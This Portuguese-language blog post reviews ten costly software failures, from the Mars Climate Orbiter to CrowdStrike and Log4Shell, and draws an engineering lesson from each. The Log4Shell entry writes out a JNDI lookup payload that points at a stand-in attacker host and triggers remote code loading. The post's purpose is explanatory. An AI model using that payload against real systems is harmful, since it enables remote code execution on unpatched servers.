Pular para o conteúdo
Engenharia

Os 10 Bugs Mais Caros da História

Do Mars Climate Orbiter ao Heartbleed: 10 bugs que custaram bilhões — e a lição de engenharia de cada um.

TL;DR

Os 10 bugs mais caros da história custaram coletivamente centenas de bilhões: unidades erradas, overflow, deploy cego e falha de processo. Cada caso tem causa raiz simples — e prevenção repetível.

Galera, tem uma frase que circula nos circulos de engenharia: 'Todo bug e um teste que nao foi escrito.' Mas tem casos na historia onde a ausencia desse teste nao resultou em um ticket no Jira — resultou em mortes, em foguetes explodindo, em sistemas financeiros entrando em colapso. Esses casos sao o que eu chamo de bugs com consequencias reais.

Esta lista nao e um hall da vergonha para zoar devs que erraram. E o oposto: cada um desses erros veio de pressao de prazo, de suposicoes razoaveis feitas em contextos diferentes, de organizacoes que priorizaram velocidade sobre verificacao. Os engenheiros envolvidos eram, em sua maioria, competentes. O sistema ao redor deles e que falhou.

Mas as licoes sao reais, e ignorar esses casos e um luxo que a industria nao pode mais se dar. Vamos do 10 ao 1, com custo, causa raiz e o que voce pode aprender.

Em setembro de 1999, a NASA perdeu a sonda Mars Climate Orbiter depois de 286 dias de viagem. O motivo? Uma equipe usava unidades metricas e outra usava o sistema imperial, e nenhum software de validacao detectou a inconsistencia. A sonda entrou na atmosfera marciana no angulo errado e foi destruida. Custo total: $327 milhoes.

O software de navegacao em terra calculava a forca dos propulsores em libras-forca por segundo. O software de bordo esperava newton-segundos. Uma conversao que qualquer estudante de fisica faria em 30 segundos nunca aconteceu. Nao por descuido de um dev especifico, mas porque nenhum processo de integracao verificou a compatibilidade de unidades entre os dois sistemas.

A licao aqui nao e 'verifique suas unidades'. E mais profunda: sistemas que integram subsistemas desenvolvidos por times diferentes precisam de contratos explicitamente definidos e testados. Tipos fortes, documentacao de interface e testes de integracao nao sao burocracia — sao o que impede que $327 milhoes virem po em Marte.

Licao #10

Interfaces entre subsistemas diferentes precisam de contratos explicitamente testados. Nunca assuma que duas equipes estao falando o mesmo idioma tecnico.

Em junho de 1996, o foguete Ariane 5 explodiu 37 segundos apos o lancamento. O foguete valia $370 milhoes, sem contar a carga. A causa: um integer overflow. O sistema de referencia inercial tentou converter um numero de ponto flutuante de 64 bits para um inteiro de 16 bits. O valor era muito grande. O sistema travou. O foguete desviou. O sistema de autodestruicao fez o resto.

O que torna esse caso especialmente frustrante: o codigo que falhou era reutilizado do Ariane 4, onde funcionava perfeitamente. O problema e que o Ariane 5 era muito mais rapido, gerava valores de velocidade maiores, e ninguem revalidou as suposicoes do codigo antigo no contexto novo. A reutilizacao de codigo sem reavaliacao de contexto e uma das formas mais traicoeiras de bug.

Tem um artigo completo sobre esse caso aqui no blog que vale muito a leitura. Se voce quiser entender integer overflow em profundidade — como ele acontece em JavaScript, Python, Rust e outras linguagens — da uma olhada tambem em nosso artigo especifico sobre o tema.

Licao #9

Codigo reutilizado carrega as suposicoes do contexto original. Antes de reusar, pergunte: as suposicoes ainda sao validas aqui?

Em agosto de 2012, a Knight Capital Group, uma das maiores firmas de trading dos EUA, perdeu $440 milhoes em exatos 45 minutos. Um engenheiro fez o deploy de codigo novo em sete dos oito servidores de producao, mas esqueceu o oitavo. O servidor antigo ainda tinha um modulo obsoleto chamado 'SMARS' que, quando ativado por uma nova flag, comecou a executar ordens de compra e venda erradas na bolsa em velocidade altissima.

O time demorou 45 minutos para perceber o que estava acontecendo e desligar o sistema. Nesse tempo, a Knight tinha acumulado posicoes nao desejadas em centenas de acoes. O custo de liquidar essas posicoes foi $440 milhoes. A empresa faliu pouco depois, sendo adquirida pela concorrente. Tudo isso porque um servidor foi esquecido no deploy.

O problema tecnico era real, mas o problema organizacional era maior: o time de operacoes nao tinha um processo de deploy que garantisse consistencia em todos os servidores. Nao existia verificacao automatizada de que todos os nodes estavam na mesma versao antes de um trade go-live. A pressao para lancar rapido obscureceu a necessidade de um processo de deploy auditavel.

Licao #8

Deploy manuals em sistemas financeiros criticos sao um risco inaceitavel. Automacao de deploy com verificacao de consistencia nao e opcional — e o padrao minimo.

Entre 1985 e 1987, a maquina de radioterapia Therac-25 causou ao menos seis overdoses de radiacao severas, matando tres pacientes e deixando outros com sequelas permanentes. A maquina era controlada por software, e o software tinha uma race condition: se o operador digitasse os comandos rapido demais, o sistema entrava em um estado inconsistente onde aplicava a dose de eletrons em alta energia sem o filtro de protecao no lugar.

O mais perturbador: as versoes anteriores da Therac tinham travas de hardware que impediam esse cenario. A Therac-25 removeu as travas de hardware e confiou inteiramente no software, sem testes adequados do codigo. Quando os pacientes reclamavam de 'queimacao', os operadores inicialmente desacreditavam porque a maquina mostrava mensagens de 'MALFUNCTION' sem indicar severidade. O sistema de feedback era fundamentalmente falho.

O caso Therac-25 e estudado em todo curso de engenharia de software como o exemplo definitivo de que software embarcado em sistemas criticos precisa de verificacao formal, testes de concorrencia e revisao independente. A pressao para remover hardware 'redundante' para reduzir custos custou vidas humanas. Nao tem jeito mais duro de aprender essa licao.

Licao #7

Em sistemas criticos, 'software vai resolver' nunca e substituto para salvaguardas de hardware. Race conditions em codigo medico ou aeroespacial nao sao bugs — sao riscos de vida.

Dois crashes do Boeing 737 MAX — Lion Air em outubro de 2018 e Ethiopian Airlines em marco de 2019 — mataram 346 pessoas. A causa tecnica foi o MCAS (Maneuvering Characteristics Augmentation System), um software de estabilizacao que, ao receber dados erroneos de um unico sensor de angulo de ataque, forcava o nariz do aviao para baixo repetidamente. Os pilotos nao conseguiam sobrepor o sistema.

O MCAS foi adicionado porque os novos motores do 737 MAX eram maiores e precisavam ser posicionados mais a frente, mudando o centro de gravidade do aviao. Em vez de reprojetar o aviao ou requerer simulador de treinamento adicional (o que custaria mais e atrasaria certificacao), a Boeing optou por um software correctivo. Pilotos nao foram informados da existencia do MCAS no manual inicial.

O MCAS dependia de um unico sensor — sem redundancia. Se o sensor falhasse, o sistema entrava em modo de falha perigoso. A Boeing sabia disso e tinha plans para usar dois sensores, mas removeu a redundancia para simplificar. A FAA nao tinha revisado o sistema de forma independente, confiando em dados fornecidos pela propria Boeing. O resultado foi um sistema de seguranca que, em falha, causava o acidente que deveria prevenir.

Licao #6

Software nao pode ser substituto para design de hardware seguro em sistemas criticos de vida. Single points of failure em aviacao — ou em qualquer sistema critico — sao inaceitaveis.

Em abril de 2014, pesquisadores revelaram o Heartbleed, uma vulnerabilidade no OpenSSL que afetava cerca de 17% de todos os servidores HTTPS do mundo. O bug estava em um recurso chamado heartbeat: ao enviar um payload menor do que o declarado no cabecalho, um atacante podia ler 64KB de memoria do servidor — incluindo chaves privadas SSL, senhas e dados de sessao. O bug existia no codigo desde 2012.

A causa tecnica e simples: faltou uma validacao de bounds. O codigo lia memcpy(bp, p, payload) onde payload era controlado pelo atacante e p era um buffer na memoria do servidor. Nenhuma verificacao de que o payload declarado realmente existia no buffer. Uma linha de validacao teria evitado o problema. O OpenSSL, que protegia transacoes financeiras e dados medicos do mundo inteiro, nao tinha recursos para revisao de codigo adequada.

O Heartbleed mostrou que a infraestrutura critica da internet dependia de software open-source mantido por voluntarios com recursos minimos. Apos o escandalo, a Linux Foundation criou o Core Infrastructure Initiative para financiar projetos criticos como o OpenSSL. O custo estimado de remediacao global chegou a $500 milhoes, mas o dano em dados potencialmente expostos e incalculavel.

Licao #5

Bounds checking em operacoes de memoria nao e opcional. Se voce tem C ou C++ em sistemas criticos, fuzz testing e code auditing sao investimentos, nao gastos.

O bug do Y2K merece um lugar especial nessa lista por ser o mais caro em custo de prevencao: estima-se que $300 a $600 bilhoes foram gastos globalmente para prevenir que sistemas que armazenavam anos com 2 digitos — '99' em vez de '1999' — colapsassem na virada do milenio. Bancos, sistemas de aviacao, usinas nucleares: todos tinham codigo legado que assumia que o seculo era sempre '19'.

O Y2K e frequentemente ridicularizado como 'o bug que nunca aconteceu', mas isso ignora o fato de que nao aconteceu precisamente porque centenas de milhares de engenheiros trabalharam anos corrigindo sistemas criticos. Sim, houve exagero midiatico. Mas os riscos eram reais: em testes, sistemas de agua em varios paises falhavam, sistemas de navegacao de navios davam erros, softwares hospitalares mostravam datas inviaveis.

A licao do Y2K nao e 'nao entre em panico'. E que decisoes de design aparentemente pequenas — como economizar 2 bytes armazenando apenas o ano com 2 digitos — acumulam divida tecnica que um dia precisa ser paga. Quando voce escolhe um formato de data, um tamanho de campo, uma convencao de nomenclatura, voce esta escolhendo quanta divida tecnica futura esta disposto a criar.

Licao #4

Divida tecnica tem juros compostos. Economizar 2 bytes em 1970 custou $300 bilhoes em 1999. Pense nas suposicoes que voce esta incorporando no codigo hoje.

Entre 2009 e 2011, a Toyota enfrentou mais de 6.000 reclamacoes de aceleracao involuntaria em varios modelos, resultando em recalls de mais de 10 milhoes de veiculos e multas de $1.2 bilhao. A investigacao inicial focou em tapetes presos e pedais mecanicos, mas analise forense posterior do software do sistema de controle de motor (ECM) revelou um codigo de mais de 10.000 variaveis globais e um task scheduler que podia corromper a pilha de execucao.

Um perito em um processo judicial analisou o codigo do ECM da Toyota e identificou mais de 80.000 violacoes das MISRA C guidelines — o padrao da industria automotiva para codigo C seguro. O codigo tinha recursao indefinida possivel, variaveis globais sem protecao contra acesso concorrente, e um watchdog timer que podia ser desabilitado pelo proprio software que devia monitorar. Era, em termos tecnicos, um spaghetti code funcional mas explosivo.

O que torna o caso ainda mais impactante: a Toyota alegou que o software tinha sido testado exaustivamente. Mas os testes focavam em cenarios normais de operacao, nao nos estados de falha e nas condicoes de corrida que podiam surgir em situacoes reais. Testes de software embarcado automotivo que nao incluem analise de estados de falha simplesmente nao sao completos.

Licao #3

Codigo embarcado com 10.000 variaveis globais nao passa em nenhum padrao de seguranca serio. Em sistemas de seguranca critica, compliance com MISRA ou equivalente nao e opcional.

Em julho de 2024, a CrowdStrike empurrou uma atualizacao de definicao de configuracao para seu agente Falcon que continha um padrao de bytes invalido. Como o Falcon roda como driver de kernel no Windows, o acesso invalido a memoria causou um Blue Screen of Death em cascata. Em poucas horas, 8.5 milhoes de maquinas Windows estavam inoperantes globalmente — hospitais, aeroportos, bancos, companhias aereas, sistemas de emergencia. O custo estimado foi de $5 a $10 bilhoes.

O detalhe tecnico que torna esse caso tao impactante: nao era um update de codigo em si, mas uma atualizacao de arquivo de configuracao chamada 'Channel File 291'. Arquivos de configuracao geralmente passam por menos escrutinio de QA do que codigo. A CrowdStrike aparentemente nao tinha um mecanismo de rollout gradual para esses arquivos — o update foi para todos os clientes simultaneamente, sem staged deployment, sem canary release.

A recuperacao foi ainda mais dolorosa porque cada maquina afetada precisava ser reiniciada em modo de seguranca manualmente, o arquivo deletado, e o sistema reiniciado. Em datacenters com milhares de maquinas, isso significou dias de trabalho manual. A ironia de um software de seguranca ser o vetor de um dos maiores outages da historia da tecnologia nao escapou a ninguem.

Licao #2

Staged rollout nao e paranoia — e o padrao minimo para qualquer atualizacao em producao. Arquivos de configuracao que rodam em kernel space merecem o mesmo rigor de QA que codigo executavel.

Em dezembro de 2021, um pesquisador revelou o CVE-2021-44228, apelidado de Log4Shell: uma vulnerabilidade de execucao remota de codigo na biblioteca Java Log4j, provavelmente o framework de logging mais usado no ecossistema Java. A exploracao era absurdamente simples: qualquer string logada pelo sistema que contivesse ${jndi:ldap://atacante.com/exploit} fazia o Log4j buscar e executar codigo remoto automaticamente. Sim, era so colocar isso em um campo de input.

O impacto foi global e instantaneo. Log4j estava em absolutamente tudo: servidores da Apple, Amazon, Google, Microsoft, sistemas industriais, jogos (o Minecraft foi um dos primeiros a ser explorado), sistemas governamentais. A CISA (agencia de seguranca americana) classificou como 'uma das vulnerabilidades mais graves em decadas'. Estimativas de custo variam de dezenas a centenas de bilhoes considerando patches de emergencia, auditorias, exploracao antes de patching.

O Log4Shell tambem revelou um problema sistemico: a maioria das organizacoes nao sabia quais versoes de quais bibliotecas open-source estavam rodando em producao. O conceito de Software Bill of Materials (SBOM) — uma lista de todos os componentes de software — ganhou urgencia regulatoria apos esse episodio. A funcionalidade JNDI lookup que causou o bug existia no Log4j desde 2013, esperando ser explorada.

Licao #1

Voce precisa saber o que esta rodando em producao. SBOM, dependency scanning automatizado e atualizacoes automaticas de seguranca nao sao excessos — sao o minimo para operar com responsabilidade.

Olha so: depois de estudar todos esses casos, um padrao fica cristalino. Nao e falta de inteligencia dos engenheiros. E uma combinacao de tres forcas: pressao de prazo, suposicoes herdadas nao questionadas, e ausencia de feedback loops adequados. Cada um desses bugs podia ter sido detectado com processos que existiam na epoca. O problema nao era falta de conhecimento — era falta de processo.

O Que Todos os Bugs Tinham

+ Prós

  • • Causa raiz tecnicamente simples
  • • Detectavel com processos corretos
  • • Frequentemente conhecido internamente antes do desastre
  • • Documentado em algum lugar do historico

− Contras

  • • Pressao para nao atrasar lancamento
  • • Suposicoes de contexto anterior nao revalidadas
  • • Ausencia de testes de estados de falha
  • • Falta de staged rollout ou revisao independente

O Que Preveniriam

+ Prós

  • • Testes de integracao com contratos explicitados
  • • Type systems fortes para unidades e limites
  • • Staged deployments com canary release
  • • Analise estatica e fuzzing em codigo critico
  • • SBOM e dependency scanning automatizado
  • • Blameless post-mortems e cultura de seguranca psicologica

− Contras

  • • Levam tempo para implementar
  • • Custam dinheiro a curto prazo
  • • Podem atrasar launches pontuais

A questao que voce deveria levar disso tudo nao e 'como evito ser o dev que causou o bug'. E 'como construo sistemas e culturas onde bugs caros nao conseguem chegar em producao'. Sao perguntas diferentes, e a segunda e muito mais poderosa.

Se voce quiser se aprofundar em como times tech aprendem com erros de producao de forma sistematica, temos um artigo sobre post-mortem de incidentes que explica como Google, Netflix e Cloudflare transformam falhas em aprendizado. E se quiser entender o integer overflow em profundidade — o mecanismo por tras do Ariane 5 — o artigo dedicado ao tema vai fundo no assunto com exemplos de codigo em varias linguagens.

Voce Esta Protegendo Seu Codigo?

  • Tem um SBOM atualizado com todas as dependencias e suas versoes?
  • Dependency scanning automatizado com alertas de CVE?
  • Staged rollout (canary, blue-green) para atualizacoes em producao?
  • Testes de estados de falha e nao apenas happy path?
  • Type system ou validacoes explicitando limites numericos em codigo critico?
  • Processo documentado de post-mortem para incidentes?
  • Revisao independente de codigo em sistemas criticos de seguranca?

Perguntas frequentes

Qual foi o bug de software mais caro da historia?

Dependendo de como voce conta, o bug do Y2K foi o mais caro em termos de custo de prevencao (estimado em $300 bilhoes globalmente). Em termos de dano direto de um unico incidente, o Log4Shell em 2021 teve impacto estimado em centenas de bilhoes considerando o ecossistema global afetado.

O que causou o desastre do Ariane 5?

Um integer overflow: o software tentou converter um numero de ponto flutuante de 64 bits para um inteiro de 16 bits, e o valor era grande demais. O sistema de navegacao travou, o foguete desviou da trajetoria e foi destruido automaticamente. O codigo era reutilizado do Ariane 4 sem validacao adequada.

Como o bug da CrowdStrike em 2024 afetou tantas maquinas?

A CrowdStrike empurrou uma atualizacao de configuracao com um padrao de bytes invalido para seu driver de kernel no Windows. Como o Falcon Agent roda com privilegios de kernel, o acesso invalido a memoria causou Blue Screen of Death (BSOD) em massa. Cerca de 8.5 milhoes de maquinas foram afetadas simultaneamente por causa do modelo de distribuicao automatica.